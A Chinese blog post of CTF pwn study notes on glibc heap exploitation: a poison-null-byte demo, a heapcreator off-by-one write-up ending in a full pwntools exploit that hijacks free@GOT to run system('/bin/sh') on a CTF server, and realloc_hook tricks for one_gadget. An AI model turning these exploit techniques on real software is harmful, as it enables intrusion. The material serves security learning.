        // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30                                              
        // this added check requires we are allowed to have null pointers in b (not just a c string)                                                     
        //*(size_t*)(b+0x1f0) = 0x200;     
                //chunksize(P) 就是当前chunk的size,prev_size(next_chunk(P))就是下一个chunk的prev_size,那么重点来到next_chunk(P)了
        //因为我们已经修改了b的size为0x200了,所以next_chunk(P) == b-0x10+0x200 == b+0x1f0, b-0x10指向原来b的prev_size,所以现在要把b+0x1f0的值修改为了0x200了
        //所以prev_size(next_chunk(P)) == 0x200了                                                                                                              
        fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "                                      
                "the check 'chunksize(P) != prev_size (next_chunk(P))'n\n");           
​
        // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)                                                                                
        // which is the value of b.size after its first byte has been overwritten with a NULL byte                                                       
        *(size_t*)(b+0x1f0) = 0x200;                                                                                                                     
​
        // this technique works by overwriting the size metadata of a free chunk                                                                         
        free(b);                                                                                                                                         
​
        fprintf(stderr, "b.size: %#lxn\n", *b_size_ptr);                                                                                                  
        fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n"); 
                                                                                  
        fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");                                                           
        a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"                                                                                          
        fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);                                                                                                  
​
        uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;                                                                                                    
        fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);                                                                                       
​
        fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
                *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
        
        //现在我们malloc b1,他将会被放在b的地方,此时,b + 0x1f0 被视作新的chunk,所以是b+0x1f0 == c-0x10-0x10的prev_size将会被更新
        b1 = malloc(0x100);
        fprintf(stderr, "b1: %p\n",b1);
        fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
                "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
        fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
                "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
        fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
        // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
​
        b2 = malloc(0x80);
        fprintf(stderr, "b2: %p\n",b2);
​
        memset(b2,'B',0x80);
        fprintf(stderr, "Current b2 content:n%s\n",b2);
​
        //现在我们free b1和c,这将会合并b1和c,中间的b2会一起被free掉,但是b2的内容不会被清除掉,所以我们可以通过malloc d来重叠b2,从而修改b2的内容
        fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
​
        free(b1);
        free(c);
​
        //现在我们malloc d来和b2重叠
        fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
        d = malloc(0x300);
        fprintf(stderr, "d: %p\n",d);
​
        fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
        memset(d,'D',0x300);
​
        fprintf(stderr, "New b2 content:n%s\n",b2);
​
        fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
                "for the clear explanation of this technique.\n");
}

结果:

We allocate 0x100 bytes for 'a'.
a: 0x5598aaae4310
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108
b: 0x5598aaae4420
c: 0x5598aaae4630
We allocate a barrier at 0x5598aaae4740, so that c is not consolidated with the top-chunk when freed.nThe barrier is not strictly necessary, but makes things less confusingn
In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))'
b.size: 0x211
b.size is: (0x200 + 0x10) | prev_in_use
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x200
c.prev_size is 0
We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
b1: 0x5598aaae4850
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: 200
We malloc 'b2', our 'victim' chunk.
b2: 0x5598aaae4960
Current b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2'.
d: 0x5598aaae49f0
Now 'd' and 'b2' overlap.
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
​

在解释一下

b的大小是怎么变成0x200的,首先prev_size 在前一个chunk 不是空闲时可被前一个chunk利用,触发off_by_one 后,多出来的 0 在小端序下, 会修改低字节的 11.所以变成0x200

off-by-one 就是想要修改下一个chunk的size,达到控制chunk和伪造chunk

heapcreator
unsigned __int64 edit_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
​
  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Content of heap : ");
    read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray + v1) + 1LL);// 这里可以读入size+1大小,off-by-one?
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

原来没有 doublefree

image-20260521230716295

┌──(kali㉿kali)-[~/binary]
└─$ checksec --file=./heapcreator      
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   85 Symbols        No    0               2               ./heapcreator
                                                                                                                                                   
┌──(kali㉿kali)-[~/binary]
└─$ file heapcreator               
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped

只申请了两个chunk,会给我们四个chunk

--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :1
Size of Heap : 36
Content of heap:aa
SuccessFul
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :1
Size of Heap : 36
Content of heap:aaaa
SuccessFul
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :^C
Program received signal SIGINT, Interrupt.
pwndbg> heap
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.                                     
                                                                                                                                  
Allocated chunk | PREV_INUSE
Addr: 0x555555555000
Size: 0x20 (with flag bits: 0x21)
​
Allocated chunk | PREV_INUSE
Addr: 0x555555555020
Size: 0x30 (with flag bits: 0x31)
​
Allocated chunk | PREV_INUSE
Addr: 0x555555555050
Size: 0x20 (with flag bits: 0x21)
​
Allocated chunk | PREV_INUSE
Addr: 0x555555555070
Size: 0x30 (with flag bits: 0x31)
​
Top chunk | PREV_INUSE
Addr: 0x5555555550a0
Size: 0x20f60 (with flag bits: 0x20f61)
​
pwndbg> bins
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

其实是两个为一组,下面那个是内容chunk

先申请四个chunk,通过off-by-one修改下一个chunk大小,可以看到修改成功

pwndbg> c
Continuing.
2
Index :0
Content of heap : aaaaaaaaaaaaaaaaaaaaaaaaA
Done !
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :Invalid Choice
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :^C
Program received signal SIGINT, Interrupt.
0x00007ffff78f7360 in read () from /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────────
Program received signal SIGINT
─────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────
 RAX  0xfffffffffffffe00
 RBX  0
 RCX  0x7ffff78f7360 (read+16) ◂— cmp rax, -0xfff
 RDX  4
 RDI  0
 RSI  0x7fffffffdc40 —▸ 0x7fffffff0a0a ◂— 0
 R8   0x7ffff7ff7700 ◂— 0x7ffff7ff7700
 R9   0xd
 R10  0
 R11  0x246
 R12  0x400750 ◂— xor ebp, ebp
 R13  0x7fffffffdd28 ◂— 0x1c
 R14  0
 R15  0
 RBP  0x7fffffffdc50 —▸ 0x400e00 ◂— push r15
 RSP  0x7fffffffdc38 —▸ 0x400d96 ◂— lea rax, [rbp - 0x10]
 RIP  0x7ffff78f7360 (read+16) ◂— cmp rax, -0xfff
──────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────
 ► 0x7ffff78f7360 <read+16>    cmp    rax, -0xfff     0xfffffffffffffe00 - -0xfff     EFLAGS => 0x216 [ cf PF AF zf sf IF df of iopl:00 ac ]                                                                                                                      
   0x7ffff78f7366 <read+22>  ✔ jae    read+73                     <read+73>
    ↓
   0x7ffff78f7399 <read+73>    mov    rcx, qword ptr [rip + 0x2ccad8]     RCX, [0x7ffff7bc3e78] => 0xffffffffffffff98
   0x7ffff78f73a0 <read+80>    neg    eax
   0x7ffff78f73a2 <read+82>    mov    dword ptr fs:[rcx], eax             [0x7ffff7ff7698] <= 0x200
   0x7ffff78f73a5 <read+85>    or     rax, 0xffffffffffffffff             RAX => 0xffffffffffffffff (0x200 | -0x1)
   0x7ffff78f73a9 <read+89>    ret                                <0x400d96>
    ↓
   0x400d96                    lea    rax, [rbp - 0x10]           RAX => 0x7fffffffdc40 —▸ 0x7fffffff0a0a ◂— 0
   0x400d9a                    mov    rdi, rax                    RDI => 0x7fffffffdc40 —▸ 0x7fffffff0a0a ◂— 0
   0x400d9d                    call   0x400720                    <0x400720>
 
   0x400da2                    cmp    eax, 5
────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc38 —▸ 0x400d96 ◂— lea rax, [rbp - 0x10]
01:0008│ rsi 0x7fffffffdc40 —▸ 0x7fffffff0a0a ◂— 0
02:0010│-008 0x7fffffffdc48 ◂— 0x4d13957022e68d00
03:0018│ rbp 0x7fffffffdc50 —▸ 0x400e00 ◂— push r15
04:0020│+008 0x7fffffffdc58 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax
05:0028│+010 0x7fffffffdc60 ◂— 0
06:0030│+018 0x7fffffffdc68 —▸ 0x7fffffffdd30 —▸ 0x7fffffffe149 ◂— './heapcreator'
07:0038│+020 0x7fffffffdc70 ◂— 0x100000000
──────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────
 ► 0   0x7ffff78f7360 read+16
   1         0x400d96 None
   2   0x7fffffff0a0a None
   3 0x4d13957022e68d00 None
   4         0x400e00 None
   5   0x7ffff7820840 __libc_start_main+240
   6         0x400779 None
   7   0x7fffffffdd28 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/16gx 0x555555555000
0x555555555000: 0x0000000000000000      0x0000000000000021
0x555555555010: 0x0000000000000018      0x0000555555555030
0x555555555020: 0x0000000000000000      0x0000000000000021
0x555555555030: 0x6161616161616161      0x6161616161616161
0x555555555040: 0x6161616161616161      0x0000000000000041
0x555555555050: 0x0000000000000020      0x0000555555555070
0x555555555060: 0x0000000000000000      0x0000000000000031
0x555555555070: 0x0000000a62626262      0x0000000000000000

这里可以看到能改,但是真实攻击里我们还是要调整具体大小的,0x18的设计是因为我们向覆盖下一个size,那能写的地方就要到size 上八字节,所以是3*8

这里我们可以修改free_got表然后free 也可以修改atoi_got表直接运行即可

我们观察可以发现,修改之后的chunk 结合 本身70处是第二个chunk,程序会认为修改之后的是一个结构体chunk

Allocated chunk | PREV_INUSE
Addr: 0x55556bd35000
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x55556bd35020
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x55556bd35040
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x55556bd35080
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x55556bd350a0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x55556bd350c0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x55556bd350e0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x55556bd35100
Size: 0x20f00 (with flag bits: 0x20f01)

pwndbg> x/32gx 0x55556bd35000
0x55556bd35000: 0x0000000000000000      0x0000000000000021
0x55556bd35010: 0x0000000000000018      0x000055556bd35030
0x55556bd35020: 0x0000000000000000      0x0000000000000021
0x55556bd35030: 0x6161616161616161      0x6161616161616161
0x55556bd35040: 0x6161616161616161      0x0000000000000041
0x55556bd35050: 0x6161616161616161      0x6161616161616161
0x55556bd35060: 0x6161616161616161      0x6161616161616161
0x55556bd35070: 0x0000000000000008      0x0000000000602028     此处已被修改为got
0x55556bd35080: 0x0000000000000000      0x0000000000000021
0x55556bd35090: 0x0000000000000010      0x000055556bd350b0
0x55556bd350a0: 0x0000000000000000      0x0000000000000021
0x55556bd350b0: 0x0000000000636363      0x0000000000000000
0x55556bd350c0: 0x0000000000000000      0x0000000000000021
0x55556bd350d0: 0x0000000000000010      0x000055556bd350f0
0x55556bd350e0: 0x0000000000000000      0x0000000000000021
0x55556bd350f0: 0x0000000000646464      0x0000000000000000

剩下的就比较经典了,不过,计算chunk索引的时候要注意一下

from pwn import *
from LibcSearcher import LibcSearcher
​
#BIN = './heapcreator'
#GLIBC_DIR = '/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
​
elf = ELF('./heapcreator')
​
#p = process([
 #   GLIBC_DIR + '/ld-2.23.so',
  #  '--library-path',
   # GLIBC_DIR,
   # BIN
#])
​
p = remote('node5.buuoj.cn',28205)
​
def dbg():
    gdb.attach(p)
    pause()
​
def add(size, content):
    p.sendlineafter(b'Your choice :', b'1')
    p.sendlineafter(b'Size of Heap : ', str(size).encode())
    p.sendafter(b'Content of heap:', content)
​
def edit(index, content):
    p.sendlineafter(b'Your choice :', b'2')
    p.sendlineafter(b'Index :', str(index).encode())
    p.sendafter(b'Content of heap : ', content)
​
def show(index):
    p.sendlineafter(b'Your choice :', b'3')
    p.sendlineafter(b'Index :', str(index).encode())
    p.recvuntil(b'Content : ')
​
def delete(index):
    p.sendlineafter(b'Your choice :', b'4')
    p.sendlineafter(b'Index :', str(index).encode())
​
​
add(0x18, b'aaa')
add(0x10, b'bbb')
add(0x10, b'ccc')
add(0x10, b'/bin/sh\x00')
​
#dbg()
​
payload1 = b'a' * 0x18 + b'\x41'
​
edit(0, payload1)
​
#dbg()
delete(1)
payload2 = b'a'*0x20 + p64(0x8) + p64(elf.got['free'])
add(0x30, payload2)
​
#dbg()
​
show(1)
addr=u64(p.recvuntil("Done")[:-5].ljust(8,b'\x00'))
print("addr:" + hex(addr))
​
#dbg()
libc = LibcSearcher('free',addr)
libcbase = addr - libc.dump('free')
system = libcbase + libc.dump('system')
​
payload3 = p64(system)
edit(1,payload3)
​
delete(3)
​
p.interactive()
               

通过 realloc_hook 调整栈帧使 onegadget 生效

简而言之,就是在我们使用onr-gadget 时达不到约束条件,这时我们可以调整 reslloc 进而达到越是条件,然后听过realloc_hook 进行

realloc() 函数主要用于调整内存空间的大小

来看看realloc函数实例

这里有很多的push pop操作,pop让rsp+8,push让rsp-8 ,我们调整push的次数以达到约束条件

.text:00000000000846C0 realloc         proc near               ; DATA XREF: LOAD:0000000000006BA0↑o
.text:00000000000846C0 ; __unwind {
.text:00000000000846C0                 push    r15             ; Alternative name is '__libc_realloc'
.text:00000000000846C2                 push    r14
.text:00000000000846C4                 push    r13
.text:00000000000846C6                 push    r12
.text:00000000000846C8                 mov     r13, rsi
.text:00000000000846CB                 push    rbp
.text:00000000000846CC                 push    rbx
.text:00000000000846CD                 mov     rbx, rdi
.text:00000000000846D0                 sub     rsp, 38h
.text:00000000000846D4                 mov     rax, cs:__realloc_hook_ptr
.text:00000000000846DB                 mov     rax, [rax]
.text:00000000000846DE                 test    rax, rax
.text:00000000000846E1                 jnz     loc_848E8        ; 
.text:00000000000846E7                 test    rsi, rsi
.text:00000000000846EA                 jnz     short loc_846F5
.text:00000000000846EC                 test    rdi, rdi
.text:00000000000846EF                jnz     loc_84960

结合例题调试

┌──(kali㉿kali)-[~/binary]
└─$ one_gadget ./libc-2.23.so 
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
​
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
​
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
pwndbg> x/16gx $rsp+0x30
0x7fff9715adb8: 0x00007ff794600f4f      0x00007fff9715aea8
0x7fff9715adc8: 0x0000000100000000      0x00007ff794600fd0
0x7fff9715add8: 0x00007ff794220840      0x00007ff79438c708
0x7fff9715ade8: 0x00007fff9715aeb0      0x00000001945c07d0
0x7fff9715adf8: 0x00007ff794600f0a      0x0000000000000000
0x7fff9715ae08: 0xf84003769bc88f26      0x00007ff7946008e0
0x7fff9715ae18: 0x00007fff9715aea8      0x0000000000000000
0x7fff9715ae28: 0x0000000000000000      0xf850059ddfa88f26
pwndbg> x/16gx $rsp+0x50
0x7fff9715add8: 0x00007ff794220840      0x00007ff79438c708
0x7fff9715ade8: 0x00007fff9715aeb0      0x00000001945c07d0
0x7fff9715adf8: 0x00007ff794600f0a      0x0000000000000000
0x7fff9715ae08: 0xf84003769bc88f26      0x00007ff7946008e0
0x7fff9715ae18: 0x00007fff9715aea8      0x0000000000000000
0x7fff9715ae28: 0x0000000000000000      0xf850059ddfa88f26
0x7fff9715ae38: 0xf84003f28b988f26      0x00007fff00000000
0x7fff9715ae48: 0x0000000000000000      0x0000000000000000
pwndbg> x/16gx $rsp+0x70
0x7fff9715adf8: 0x00007ff794600f0a      0x0000000000000000
0x7fff9715ae08: 0xf84003769bc88f26      0x00007ff7946008e0
0x7fff9715ae18: 0x00007fff9715aea8      0x0000000000000000
0x7fff9715ae28: 0x0000000000000000      0xf850059ddfa88f26
0x7fff9715ae38: 0xf84003f28b988f26      0x00007fff00000000
0x7fff9715ae48: 0x0000000000000000      0x0000000000000000
0x7fff9715ae58: 0x00007ff794a1080b      0x0000000000000000
0x7fff9715ae68: 0x0000000000000000      0x0000000000000000
pwndbg> x/16gx $rsp+0x70+8    我们少push一次即可使rsp+0x70 = 0
0x7fff9715ae00: 0x0000000000000000      0xf84003769bc88f26
0x7fff9715ae10: 0x00007ff7946008e0      0x00007fff9715aea8
0x7fff9715ae20: 0x0000000000000000      0x0000000000000000
0x7fff9715ae30: 0xf850059ddfa88f26      0xf84003f28b988f26
0x7fff9715ae40: 0x00007fff00000000      0x0000000000000000
0x7fff9715ae50: 0x0000000000000000      0x00007ff794a1080b
0x7fff9715ae60: 0x0000000000000000      0x0000000000000000
0x7fff9715ae70: 0x0000000000000000      0x0000000000000000

由此我们可以满足约束条件

    

这篇博客其实就是我的学习总结,如有错误,欢迎指正~

一道堆方向的pwn(double free & unsorted bins) 一道堆方向的pwn(double free & unsorted bins)做题环境什么是double free 在某博客上看到了一道堆的题,博主说是入门的,嗯,那正好适合我,于是我花了一周终于出结果了。。。。。。 来看看我都遇到了什么问题 做题环境 Ubuntu 20.04.3 LTS,这是我在微软商店下载的子系统,也是一切万恶之源的开始 题目:Roc826 什么是double free 希望再次之前,你已经知道什么是堆了。 double free就是对一个堆free两次 在堆中,free后堆 阅读详情

相关推荐

CTF入门选Web还是PWN?两方向本质区别深度解析

在网络安全攻防领域,CTF竞赛是通往漏洞挖掘与渗透测试的重要训练场。其中Web安全与PWN(二进制安全)是两大核心方向:前者聚焦Web应用层代码逻辑缺陷,如SQL注入、文件上传绕过等业务漏洞,更多要求安全人员具备开发视角与网络协议理解;后者则深入到系统底层,围绕内存布局、指令流劫持展开,如栈溢出、堆利用、ROP链构造等经典技术。理解两者的底层差异,不仅有助于安全爱好者规划入门路径,也是企业安全建设中区分应用安全与系统安全人才技能模型的关键。从Web渗透测试到二进制漏洞挖掘,不同方向的安全工程师分别承担着对抗

weixin_27875131的博客 205

别再死记硬背了!用‘堆风水’视角重新理解PWN中的Double Free与UAF

本文通过‘堆风水’这一独特视角,深入解析PWN中的Double Free与UAF漏洞利用技术。结合CTF竞赛实战案例,揭示堆内存管理的核心原理与防御突破策略,帮助安全研究者摆脱死记硬背,掌握堆漏洞利用的本质逻辑与高级技巧。

weixin_42539414的博客 253

栈溢出与堆溢出漏洞利用对比:从原理到CTF Pwn题实战的5个关键差异

本文深入对比了栈溢出与堆溢出漏洞在原理和CTF Pwn题实战中的5个关键差异,包括内存结构、利用手法、防护绕过策略等。通过详细分析缓冲区溢出漏洞的利用方式,帮助安全研究人员和CTF选手掌握这两种经典漏洞的攻防技巧,提升二进制安全实战能力。

weixin_29323049的博客 365

Pwn-Glibc堆利用-FirstFit&UAF浅析

0x1 最近忙于堆的学习,在师傅们的指导下,对堆有了一知半解,找了一个网上的UAF题目来练手。 题目链接:https://www.bilibili.com/video/BV1iE411H7cZ (再次感谢大佬发布的教学视频) 先检查一下程序: 发现保护全开。64位,反编译之后发现: 在main函数中看到后门函数cat flag,但是条件是变量值为5。 运行一下: 大概意思是程序可以生成一个creature【堆】,里面包含姓名和等级两个参数数据,并且可以通过输入命令来改变这些变量: After you

pointerr的博客 317

how2heap入门:从first_fit到unsafe_unlink,吃透堆利用核心手法

内存管理是系统安全与底层开发的基石,而glibc的堆分配器更是pwn领域中的关键战场。理解分配器的行为模式——从空闲链表的扫描策略到bin的切换规则,是预测漏洞利用走向的前提。如何将抽象的内部机制转化为可见的实践认知?开源项目how2heap提供了一条高效路径。它通过可编译、可运行的小程序,直观展示经典堆利用手法背后的分配器响应逻辑。本文以first_fit、fastbin_dup和unsafe_unlink三个基础场景为例,剖析内存复用、双重释放与unlink检查绕过等核心原理,并结合调试技巧与版本差异,

weixin_29327977的博客 273

VS2019配置Qt5.14.2开发环境全流程(含MSVC2017 64-bit选择指南)

本文详细介绍了在VS2019中配置Qt5.14.2开发环境的完整流程,特别针对MSVC2017 64-bit编译器的选择提供了专业建议。从环境准备、Qt安装配置到VS2019集成设置,逐步指导开发者完成开发环境的搭建,并提供了常见问题的解决方案和高级优化技巧,帮助开发者高效进行Qt开发。

weixin_29243279的博客 512

个人对pwn中堆利用理论知识的一点理解

**malloc**:通过brk或mmap管理内存空间,遵循对齐规则,并根据size判断是否符合fast bin、small bin、large bin或top chunk的大小。- **Unsorted Bin**:用于存储无法归类到上述任何bin的chunk,当申请的内存块无法满足其他bin时,会被放入unsorted bin,之后再根据需要进行合并或分配。- **Large Bin**:用于存储更大的chunk,这些chunk的大小超过small bin的范围。

2403_86572967的博客 848

RK3568 开发实战:手动构建 Linux 4.19 内核镜像与设备树优化

本文详细介绍了为RK3568开发板手动编译Linux 4.19内核的完整实战流程。从环境搭建、源码获取、内核配置,到设备树深度定制与优化,再到镜像打包与烧写,旨在帮助开发者脱离官方SDK依赖,实现对嵌入式Linux系统的完全掌控,提升硬件适配与性能优化能力。

weixin_29175469的博客 269

别再死记硬背了!用GDB动态调试理解Pwn堆漏洞:以fastbin dup为例

本文通过GDB动态调试实战,详细解析了CTF Pwn题中的fastbin dup堆漏洞。从实验环境搭建到漏洞利用,逐步演示如何观察堆内存变化,理解double free导致的环状链表形成,并分享防护机制绕过技巧与调试心得,帮助读者深入掌握堆漏洞分析与利用技术。

weixin_30527323的博客 360

基于STM32开发的智能语音控制系统

本文将介绍如何使用STM32微控制器开发一个智能语音控制系统,通过语音识别模块、OLED显示屏、Wi-Fi模块等实现对家用电器或其他设备的语音控制。智能语音控制系统的核心是STM32微控制器,通过语音识别模块识别用户的语音指令,并根据指令控制家用电器或其他设备。:定期测试语音识别模块、继电器控制模块、OLED显示屏和Wi-Fi模块的工作状态,确保系统能够在各种情况下正常运行,并保持智能语音控制系统的可靠性。本系统同样适用于办公环境,可以通过语音指令控制办公室设备,如照明、空调等,提供智能化的办公体验。

stm32d1219的博客 6911

Unidbg逆向阿里系App签名:从环境补全到算法还原实战

在移动安全与协议分析领域,理解应用层签名机制是核心挑战之一。签名算法作为保障通信安全与身份验证的关键技术,其原理通常涉及哈希、加密及密钥协商等基础密码学概念。在Android平台,核心签名逻辑常被加固并隐藏于Native层SO库中,以对抗动态调试与静态分析,这为安全研究和协议兼容带来了技术障碍。Unidbg作为一种基于模拟执行的逆向工程工具,通过模拟ARM指令集和系统调用,允许研究者在脱离真机环境的情况下,可控地执行和调试SO文件,为解决此类问题提供了创新思路。其技术价值在于实现了对加固代码的确定性分析与算

weixin_42525738的博客 939

[CTF PWN] 从0到0.00001 PWN入门超级详细

超级详细的CTF中Pwn方向的介绍,非常适合小白萌新,真的超级超级详细。Pwn的简介 Pwn的理论工具准备 初学 工具 贮备知识 入门 工具 贮备知识 Pwn的学习 初学-从Writeup中学习 入门-从比赛中学习 Pwn的环境准备 Windows 在Vscode中配置Pwn中环境 在Vscode中Pwn Pwntools的学习 简易快速入门 Pwn的做题流程 Pwn的简单例子 checksec 分析函数及漏洞 main函数 fun函数 编写exp 编写Writeup 小结

Csome 3万+

从拆箱到跑通:Intel RealSense D435i开箱实测+ROS驱动配置全流程

本文详细记录了Intel RealSense D435i深度相机的开箱体验,并提供了在Ubuntu 22.04与ROS2 Humble环境下,从安装librealsense2 SDK到配置ROS2驱动的完整流程。重点解决了驱动安装、数据流发布、点云对齐以及IMU数据融合等关键步骤,帮助研究者和开发者快速实现D435i与机器人系统的集成。

weixin_29168393的博客 304

pwn从入门到如土

常用的工具 pwntools pwndbg peda 4月6日 熟悉了堆的相关数据结构 先整理一下我今天学到的吧 chunk 这个是分配了的内存块吧, 每个chunk由下图对应的数据结构组成 如果是已经分配了的, 那么fd和bk这两个字段就没用了 数据结构 并且prev_size指向了前一块chunk(必须是free了的), 而当前的chunk, 如果不够用就会占用...

萍水间人的小天地 255

VASP+机器学习快速收敛AIMD

本文介绍了如何利用VASP结合机器学习技术快速收敛AIMD(从头算分子动力学)模拟。首先,通过训练机器学习力场,生成关键文件如ML_ABN(包含结构数据集)、ML_FFN(存储回归结果)和ML_LOGFILE(记录训练日志)。接着,配置INCAR文件以设置计算参数,包括并行化、分子动力学和机器学习相关参数。KPOINTS文件用于定义K点网格。计算完成后,备份CONTCAR文件作为后续模拟的初始结构。最后,利用训练好的力场文件进行纯机器学习力场分子动力学模拟,并提交任务执行。

qq_44812865的博客 1405

【obj To 3DTiles 进阶实战】 从零配置地理坐标系与扩展属性元数据

本文详细解析了如何将OBJ模型转换为3DTiles格式,重点介绍了地理坐标系配置与属性元数据扩展的实战技巧。通过obj23dtiles工具,开发者可以精准定位模型经纬高坐标,并添加结构化属性表,实现城市规划模型在数字孪生平台的高效应用。

weixin_27215337的博客 367

PWN -堆 chunk 介绍以及源码剖析

在 PWN 技术的深入探索中,第 18 节聚焦于堆 chunk 相关知识,包括其基本概念、结构以及对其源码的剖析。这部分内容对于理解堆内存管理机制以及挖掘和利用堆相关漏洞至关重要。

m0_57836225的博客 1156

3 路由引入

在大型企业网络中,网络规模十分庞大,选用单一的路由协议无法满足网络的需求,因此多种路由协议共存的情况十分常见。或者出于业务逻辑或行政管理的考虑,会在不同的网络结构中设计和部署不同的路由协议,使路由的层次结构更加清晰可控。路由引入是具有方向性的,将路由信息从路由协议A引入到路由协议B(A-to-B),则路由协议B可获知A中的路由信息,但是此时,A还并不知晓B路由协议中的路由信息,除非配置B-to-A的路由引入。表3-1:各种路由协议的优先级。通过路由引入,可以实现路由信息在不同路由协议间传递。

lwljh134的博客 621

pwn题堆利用的一些姿势 -- free_hook

